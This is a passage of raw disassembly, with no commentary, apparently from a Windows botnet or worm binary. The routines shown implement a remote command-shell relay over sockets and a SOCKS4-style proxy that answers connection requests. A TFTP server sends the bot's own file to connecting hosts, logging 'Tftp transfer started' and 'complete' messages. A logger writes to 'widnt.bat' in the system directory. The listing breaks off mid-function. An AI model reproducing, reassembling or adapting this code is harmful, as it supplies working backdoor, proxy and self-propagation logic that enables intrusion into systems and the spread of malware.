call ds:dword_42708C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_434B6C ; "-"
call sub_415221
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_410FF2: ; CODE XREF: sub_410F20+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_410F20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410FF9 proc near ; DATA XREF: sub_410CD6+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, ds:dword_4270E8
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_411022: ; CODE XREF: sub_410FF9+8Fj
call ebx ; ReadFile
test eax, eax
jz short loc_41108A
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_41105D
loc_411033: ; CODE XREF: sub_410FF9+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_41104D
cmp dl, 0Dh
jz short loc_41104D
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_41104D: ; CODE XREF: sub_410FF9+44j
; sub_410FF9+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_411033
loc_41105D: ; CODE XREF: sub_410FF9+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4CB6A4 ; send
test eax, eax
jle short loc_41108A
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_411022
; ---------------------------------------------------------------------------
loc_41108A: ; CODE XREF: sub_410FF9+2Dj
; sub_410FF9+79j
mov esi, ds:dword_42708C
call esi ; RtlGetLastWin32Error
cmp eax, 6Dh
jz short loc_4110A6
call esi ; RtlGetLastWin32Error
push eax ; Args
push offset asc_434BAC ; "-"
call sub_415221
pop ecx
pop ecx
loc_4110A6: ; CODE XREF: sub_410FF9+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_410FF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4110AB proc near ; DATA XREF: sub_410CD6+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_4110C4: ; CODE XREF: sub_4110AB+39j
; sub_4110AB+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4CB66C ; recv
test eax, eax
jle loc_4111C9
cmp [ebp+var_10], ebx
jbe short loc_4110E6
dec [ebp+var_10]
jmp short loc_4110C4
; ---------------------------------------------------------------------------
loc_4110E6: ; CODE XREF: sub_4110AB+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_4111A9
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_411156
cmp al, 7Fh
jz short loc_411156
cmp al, 3
jnz short loc_411111
push ebx
push ebx
call ds:dword_427128 ; GenerateConsoleCtrlEvent
jmp short loc_41117D
; ---------------------------------------------------------------------------
loc_411111: ; CODE XREF: sub_4110AB+5Aj
cmp al, 15h
jnz short loc_411133
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_411169
; ---------------------------------------------------------------------------
loc_411133: ; CODE XREF: sub_4110AB+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_41116A
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_411169
; ---------------------------------------------------------------------------
loc_411156: ; CODE XREF: sub_4110AB+52j
; sub_4110AB+56j
cmp esi, ebx
jbe short loc_411180
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_411169: ; CODE XREF: sub_4110AB+86j
; sub_4110AB+A9j
pop ecx
loc_41116A: ; CODE XREF: sub_4110AB+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4CB6A4 ; send
test eax, eax
jle short loc_4111C9
loc_41117D: ; CODE XREF: sub_4110AB+64j
mov al, byte ptr [ebp+arg_0+3]
loc_411180: ; CODE XREF: sub_4110AB+ADj
cmp al, 0Dh
jnz loc_4110C4
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call ds:dword_4270E0 ; WriteFile
test eax, eax
jz short loc_4111C9
xor esi, esi
jmp loc_4110C4
; ---------------------------------------------------------------------------
loc_4111A9: ; CODE XREF: sub_4110AB+47j
cmp [ebp+var_C], ebx
jnz short loc_4111BA
mov [ebp+var_C], 1
jmp loc_4110C4
; ---------------------------------------------------------------------------
loc_4111BA: ; CODE XREF: sub_4110AB+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_4110C4
; ---------------------------------------------------------------------------
loc_4111C9: ; CODE XREF: sub_4110AB+2Bj
; sub_4110AB+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4110AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4111CE proc near ; DATA XREF: sub_401ACD+2C08o
Source = byte ptr -2D4h
var_D4 = dword ptr -0D4h
Str = byte ptr -0D0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
push 1
xor esi, esi
pop edi
mov [eax+0A8h], edi
push ebx ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_40]
call dword_4CB654 ; htons
push 6
push edi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
call dword_4CB6D4 ; socket
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov dword_43E59C[eax], edi
lea eax, [ebp+Dst]
push eax
push edi
call dword_4CB680 ; bind
test eax, eax
jnz loc_411370
push 0Ah
push edi
call dword_4CB67C ; listen
test eax, eax
jnz loc_411370
push [ebp+var_40]
push [ebp+var_D4]
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+Source]
push offset asc_42BFB8 ; "-"
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_4112A9
push esi ; int
lea eax, [ebp+Source]
push [ebp+var_34] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_D4] ; int
call sub_409A73
add esp, 14h
loc_4112A9: ; CODE XREF: sub_4111CE+B9j
; sub_4111CE+172j ...
lea eax, [ebp+Source]
push eax
call sub_4151AD
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CB6E8 ; accept
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call dword_4CB6E0 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset asc_434C58 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 19h ; int
push eax ; Source
call sub_40B0F7
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_43E594[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset sub_4113D3
push esi
push esi
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_43E5A4[ecx], eax
jz short loc_411350
loc_41133D: ; CODE XREF: sub_4111CE+180j
cmp [ebp+var_28], esi
jnz loc_4112A9
push 5
call ds:dword_427078 ; Sleep
jmp short loc_41133D
; ---------------------------------------------------------------------------
loc_411350: ; CODE XREF: sub_4111CE+16Dj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_434C1C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_4112A9
; ---------------------------------------------------------------------------
loc_411370: ; CODE XREF: sub_4111CE+7Bj
; sub_4111CE+8Cj
push edi
call dword_4CB6EC ; closesocket
push [ebp+var_40]
lea eax, [ebp+Source]
push offset asc_434BE8 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_4113B3
push esi ; int
lea eax, [ebp+Source]
push [ebp+var_34] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_D4] ; int
call sub_409A73
add esp, 14h
loc_4113B3: ; CODE XREF: sub_4111CE+1C3j
lea eax, [ebp+Source]
push eax
call sub_4151AD
push [ebp+var_3C]
call sub_40B413
pop ecx
pop ecx
push esi
call ds:dword_4270CC ; ExitThread
pop edi
pop esi
pop ebx
sub_4111CE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4113D3 proc near ; DATA XREF: sub_4111CE+14Fo
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
Dst = byte ptr -4C8h
var_C8 = byte ptr -0C8h
Str2 = byte ptr -44h
var_2C = dword ptr -2Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
push 1
mov [ebp+arg_0], esi
imul esi, 234h
pop edi
lea esi, dword_43E59C[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call dword_4CB63C ; select
test eax, eax
jnz short loc_411454
push dword ptr [esi]
call dword_4CB6EC ; closesocket
push [ebp+arg_0]
call sub_40B413
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
loc_411454: ; CODE XREF: sub_4113D3+67j
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call dword_4CB66C ; recv
test eax, eax
jg short loc_411485
push dword ptr [esi]
call dword_4CB6EC ; closesocket
push [ebp+arg_0]
call sub_40B413
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
loc_411485: ; CODE XREF: sub_4113D3+98j
cmp [ebp+var_4D0], 4
jnz loc_41167F
cmp [ebp+var_4CF], 1
jnz loc_41167F
cmp [ebp+Str2], bl
jz short loc_41151B
lea eax, [ebp+Str2]
push eax ; Str2
lea eax, [ebp+Dst]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_41151B
lea eax, [ebp+Str2]
push eax
lea eax, [ebp+Dst]
push eax ; Args
push offset dword_434D20 ; Format
call sub_415221
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call _memset
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CB6A4 ; send
push dword ptr [esi]
call dword_4CB6EC ; closesocket
push [ebp+arg_0]
call sub_40B413
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
loc_41151B: ; CODE XREF: sub_4113D3+CFj
; sub_4113D3+E5j
push 10h ; Size
lea eax, [ebp+var_18]
push ebx ; Val
push eax ; Dst
call _memset
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_4CB6D4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_4115B3
call dword_4CB5E8 ; WSAGetLastError
push eax ; Args
push offset dword_434CE0 ; Format
call sub_415221
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call _memset
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CB6A4 ; send
push dword ptr [esi]
call dword_4CB6EC ; closesocket
push [ebp+arg_0]
call sub_40B413
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
loc_4115B3: ; CODE XREF: sub_4113D3+181j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_4CB5FC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_411622
call dword_4CB5E8 ; WSAGetLastError
push eax ; Args
push offset dword_434C9C ; Format
call sub_415221
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call _memset
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CB6A4 ; send
push dword ptr [esi]
call dword_4CB6EC ; closesocket
push [ebp+arg_0]
call sub_40B413
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
loc_411622: ; CODE XREF: sub_4113D3+1F0j
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call _memset
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CB6A4 ; send
push dword ptr [esi]
push edi
call sub_411697
pop ecx
pop ecx
push edi
call dword_4CB6EC ; closesocket
push dword ptr [esi]
call dword_4CB6EC ; closesocket
push [ebp+arg_0]
call sub_40B413
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
loc_41167F: ; CODE XREF: sub_4113D3+B9j
; sub_4113D3+C6j
push dword ptr [esi]
call dword_4CB6EC ; closesocket
push [ebp+arg_0]
call sub_40B413
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
sub_4113D3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411697 proc near ; CODE XREF: sub_4113D3+286p
Dst = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4116AD: ; CODE XREF: sub_411697+C5j
; sub_411697+F5j
mov [ebp+var_100], ebx
mov [ebp+var_104], 1
xor ecx, ecx
lea eax, [ebp+var_100]
loc_4116C5: ; CODE XREF: sub_411697+3Cj
mov edx, [ebp+arg_0]
cmp [eax], edx
jz short loc_4116D5
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4116C5
loc_4116D5: ; CODE XREF: sub_411697+33j
cmp ecx, 1
jnz short loc_4116EA
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_4116EA: ; CODE XREF: sub_411697+41j
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_4CB63C ; select
lea eax, [ebp+var_104]
push eax
push ebx
call dword_4CB540 ; __WSAFDIsSet
test eax, eax
jz short loc_41174A
push edi
lea eax, [ebp+Dst]
push esi
push eax
push ebx
call dword_4CB66C ; recv
cmp eax, 0FFFFFFFFh
jz short loc_411792
push edi
push eax
lea eax, [ebp+Dst]
push eax
push [ebp+arg_0]
call dword_4CB6A4 ; send
cmp eax, 0FFFFFFFFh
jz short loc_411792
loc_41174A: ; CODE XREF: sub_411697+85j
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_4CB540 ; __WSAFDIsSet
test eax, eax
jz loc_4116AD
push edi
lea eax, [ebp+Dst]
push esi
push eax
push [ebp+arg_0]
call dword_4CB66C ; recv
cmp eax, 0FFFFFFFFh
jz short loc_411792
push edi
push eax
lea eax, [ebp+Dst]
push eax
push ebx
call dword_4CB6A4 ; send
cmp eax, 0FFFFFFFFh
jnz loc_4116AD
loc_411792: ; CODE XREF: sub_411697+9Aj
; sub_411697+B1j ...
pop edi
pop esi
pop ebx
leave
retn
sub_411697 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411797 proc near ; CODE XREF: sub_411797:loc_411C08p
; DATA XREF: sub_401ACD+210Eo ...
var_87C = dword ptr -87Ch
var_878 = dword ptr -878h
var_778 = dword ptr -778h
var_578 = byte ptr -578h
var_577 = byte ptr -577h
var_576 = byte ptr -576h
var_575 = byte ptr -575h
DstBuf = byte ptr -574h
var_374 = dword ptr -374h
Filename = byte ptr -370h
Str = byte ptr -26Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_15C = byte ptr -15Ch
var_DC = dword ptr -0DCh
var_D8 = dword ptr -0D8h
var_D0 = byte ptr -0D0h
var_CF = byte ptr -0CFh
var_CE = byte ptr -0CEh
var_CD = byte ptr -0CDh
Dest = byte ptr -50h
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
Dst = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
File = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 87Ch
mov edx, [ebp+arg_0]
push ebx
push esi
push edi
push 1
xor ebx, ebx
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_374]
push ebx
push 2
rep movsd
inc [ebp+var_164]
push 2
mov [ebp+var_10], eax
mov [ebp+var_14], eax
mov [ebp+var_8], eax
mov [edx+2A0h], eax
call dword_4CB6D4 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_411837
push 190h
call ds:dword_427078 ; Sleep
cmp [ebp+var_D8], ebx
jnz short loc_411817
push ebx ; int
lea eax, [ebp+var_778]
push [ebp+var_DC] ; int
push eax ; int
lea eax, [ebp+var_15C]
push eax ; Str
push [ebp+var_374] ; int
call sub_409A73
add esp, 14h
loc_411817: ; CODE XREF: sub_411797+5Bj
lea eax, [ebp+var_778]
push eax
call sub_4151AD
push [ebp+var_168]
call sub_40B413
pop ecx
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
loc_411837: ; CODE XREF: sub_411797+48j
lea eax, [ebp+var_10]
push 4
push eax
mov edi, 0FFFFh
push 4
push edi
push esi
call dword_4CB634 ; setsockopt
lea eax, [ebp+var_14]
push 4
push eax
push 0FFFFFFFBh
push edi
push esi
call dword_4CB634 ; setsockopt
mov eax, [ebp+var_168]
push 10h ; Size
imul eax, 234h
push ebx ; Val
mov dword_43E59C[eax], esi
lea eax, [ebp+Dst]
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_160]
call dword_4CB654 ; htons
mov [ebp+var_2A], ax
lea eax, [ebp+Dst]
push 10h
push eax
push esi
mov [ebp+var_28], ebx
call dword_4CB680 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_4118C1
push 1388h
call ds:dword_427078 ; Sleep
dec [ebp+var_164]
push [ebp+arg_0]
jmp loc_411C08
; ---------------------------------------------------------------------------
loc_4118C1: ; CODE XREF: sub_411797+10Fj
lea eax, [ebp+Filename]
push offset aRb ; "rb"
push eax ; Filename
call _fopen
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+File], eax
jnz short loc_411927
push 190h
call ds:dword_427078 ; Sleep
push ebx ; int
lea eax, [ebp+var_778]
push [ebp+var_DC] ; int
push eax ; int
lea eax, [ebp+var_15C]
push eax ; Str
push [ebp+var_374] ; int
call sub_409A73
lea eax, [ebp+var_778]
push eax
call sub_4151AD
push [ebp+var_168]
call sub_40B413
add esp, 1Ch
push ebx
call ds:dword_4270CC ; ExitThread
loc_411927: ; CODE XREF: sub_411797+142j
; sub_411797+42Bj
mov edi, [ebp+arg_0]
cmp [edi+2A0h], ebx
jz loc_411BCB
mov edi, 80h
lea eax, [ebp+var_D0]
push edi ; Size
push ebx ; Val
push eax ; Dst
mov [ebp+var_1C], 5
mov [ebp+var_18], 1388h
mov [ebp+var_878], esi
mov [ebp+var_87C], 1
call _memset
add esp, 0Ch
lea eax, [ebp+var_1C]
push eax
push ebx
lea eax, [ebp+var_87C]
push ebx
push eax
push ebx
call dword_4CB63C ; select
test eax, eax
jle loc_411BBF
mov al, byte_43D808
mov ecx, edi
mov [ebp+var_578], al
xor eax, eax
lea edi, [ebp+var_577]
mov [ebp+var_C], 10h
rep stosd
stosw
stosb
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_3C]
push eax
push ebx
lea eax, [ebp+var_D0]
push 80h
push eax
push esi
call dword_4CB62C ; recvfrom
push [ebp+var_38]
mov [ebp+var_8], eax
call dword_4CB6E0 ; inet_ntoa
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
cmp [ebp+var_D0], bl
pop ecx
pop ecx
jnz loc_411BA9
cmp [ebp+var_CF], 1
jnz loc_411AAF
lea eax, [ebp+Str]
push eax ; Str
call _strlen
push ebx ; Origin
push ebx ; Offset
push [ebp+File] ; File
call _fseek
push [ebp+File] ; File
lea eax, [ebp+DstBuf]
mov [ebp+var_578], bl
mov [ebp+var_577], 3
push 200h ; Count
push 1 ; ElementSize
push eax ; DstBuf
mov [ebp+var_576], bl
mov [ebp+var_575], 1
call _fread
add esp, 20h
lea ecx, [ebp+var_3C]
mov [ebp+var_8], eax
add eax, 4
push [ebp+var_C]
push ecx
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4CB6B8 ; sendto
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_778]
push offset aTftpTransferSt ; "Tftp transfer started to: %s"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_D8], ebx
jnz short loc_411A9D
push ebx ; int
lea eax, [ebp+var_778]
push [ebp+var_DC] ; int
push eax ; int
lea eax, [ebp+var_15C]
push eax ; Str
push [ebp+var_374] ; int
call sub_409A73
add esp, 14h
loc_411A9D: ; CODE XREF: sub_411797+2E1j
lea eax, [ebp+var_778]
push eax
call sub_4151AD
pop ecx
jmp loc_411BBF
; ---------------------------------------------------------------------------
loc_411AAF: ; CODE XREF: sub_411797+257j
cmp [ebp+var_CF], 4
jnz loc_411BA9
mov cl, [ebp+var_CD]
mov al, [ebp+var_CE]
cmp cl, 0FFh
mov [ebp+var_578], bl
mov [ebp+var_577], 3
jnz short loc_411AEC
inc al
xor cl, cl
mov [ebp+var_576], al
mov [ebp+var_575], bl
jmp short loc_411AFA
; ---------------------------------------------------------------------------
loc_411AEC: ; CODE XREF: sub_411797+341j
inc cl
mov [ebp+var_576], al
mov [ebp+var_575], cl
loc_411AFA: ; CODE XREF: sub_411797+353j
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
mov edi, 200h
shl eax, 9
sub eax, edi
push ebx ; Origin
push eax ; Offset
push [ebp+File] ; File
call _fseek
push [ebp+File] ; File
lea eax, [ebp+DstBuf]
push edi ; Count
push 1 ; ElementSize
push eax ; DstBuf
call _fread
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_3C]
mov [ebp+var_8], edi
push [ebp+var_C]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4CB6B8 ; sendto
cmp edi, ebx
jnz short loc_411BBF
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_778]
push offset aTftpTransferCo ; "Tftp transfer complete to: %s"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_D8], ebx
jnz short loc_411B94
push ebx ; int
lea eax, [ebp+var_778]
push [ebp+var_DC] ; int
push eax ; int
lea eax, [ebp+var_15C]
push eax ; Str
push [ebp+var_374] ; int
call sub_409A73
add esp, 14h
loc_411B94: ; CODE XREF: sub_411797+3D8j
lea eax, [ebp+var_778]
push eax
call sub_4151AD
inc dword_4CE15C
pop ecx
jmp short loc_411BBF
; ---------------------------------------------------------------------------
loc_411BA9: ; CODE XREF: sub_411797+24Aj
; sub_411797+31Fj
push [ebp+var_C]
lea eax, [ebp+var_3C]
push eax
push ebx
push 9
push offset dword_434D60
push esi
call dword_4CB6B8 ; sendto
loc_411BBF: ; CODE XREF: sub_411797+1E9j
; sub_411797+313j ...
cmp [ebp+var_8], ebx
jg loc_411927
mov edi, [ebp+arg_0]
loc_411BCB: ; CODE XREF: sub_411797+199j
push esi
call dword_4CB6EC ; closesocket
push [ebp+File] ; File
call _fclose
dec [ebp+var_164]
cmp [edi+2A0h], ebx
pop ecx
jnz short loc_411BFC
push [ebp+var_168]
call sub_40B413
pop ecx
push ebx
call ds:dword_4270CC ; ExitThread
loc_411BFC: ; CODE XREF: sub_411797+450j
push 3E8h
call ds:dword_427078 ; Sleep
push edi
loc_411C08: ; CODE XREF: sub_411797+125j
call sub_411797
pop edi
pop esi
pop ebx
leave
retn 4
sub_411797 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_411C14(int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)
sub_411C14 proc near ; CODE XREF: sub_411CF5+B4p
; sub_411CF5+253p
Dest = byte ptr -314h
Filename = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Str = byte ptr 14h
arg_8C = dword ptr 94h
arg_90 = dword ptr 98h
push ebp
mov ebp, esp
sub esp, 314h
lea eax, [ebp+var_10]
push esi
push eax
call ds:dword_42712C ; GetLocalTime
lea eax, [ebp+Filename]
push 104h
push eax
call ds:dword_427074 ; GetSystemDirectoryA
lea eax, [ebp+Filename]
push offset asc_43554C ; "\\"
push eax ; Dest
call _strcat
lea eax, [ebp+Filename]
push offset aWidnt_bat ; "widnt.bat"
push eax ; Dest
call _strcat
lea eax, [ebp+Filename]
push offset Mode ; "ab"
push eax ; Filename
call _fopen
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_411C7B
push 1
pop eax
jmp short loc_411CF2
; ---------------------------------------------------------------------------
loc_411C7B: ; CODE XREF: sub_411C14+60j
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi ; File
call _fprintf
push esi ; File
call _fclose
add esp, 28h
cmp [ebp+arg_90], 0
jnz short loc_411CF0
push [ebp+arg_0]
lea eax, [ebp+Dest]
push offset asc_43551C ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 24h
loc_411CF0: ; CODE XREF: sub_411C14+A3j
xor eax, eax
loc_411CF2: ; CODE XREF: sub_411C14+65j
pop esi
leave
retn
sub_411C14 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411CF5 proc near ; DATA XREF: sub_401ACD+4509o
var_8DC = dword ptr -8DCh
var_8D8 = byte ptr -8D8h
Dest = byte ptr -4DCh
var_2DD = byte ptr -2DDh
Dst = byte ptr -2DCh
var_DC = byte ptr -0DCh
var_D8 = dword ptr -0D8h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8DCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_8DC], 0
push 25h
and [ebp+var_4], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_DC]
rep movsd
